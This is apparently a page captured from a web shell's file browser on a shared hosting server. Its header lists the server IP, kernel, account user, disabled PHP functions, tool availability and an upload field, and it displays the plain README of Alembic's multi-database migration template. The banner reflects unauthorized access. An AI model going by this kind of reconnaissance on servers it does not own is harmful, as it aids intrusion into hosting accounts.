| Server IP : 88.222.222.12 / Your IP : 216.73.216.122 Web Server : LiteSpeed System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64 User : u686484674 ( 686484674) PHP Version : 8.0.30 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/alembic/templates/multidb/ |
Upload File : |
Rudimentary multi-database configuration. Multi-DB isn't vastly different from generic. The primary difference is that it will run the migrations N times (depending on how many databases you have configured), providing one engine name and associated context for each run. That engine name will then allow the migration to restrict what runs within it to just the appropriate migrations for that engine. You can see this behavior within the mako template. In the provided configuration, you'll need to have `databases` provided in alembic's config, and an `sqlalchemy.url` provided for each engine name.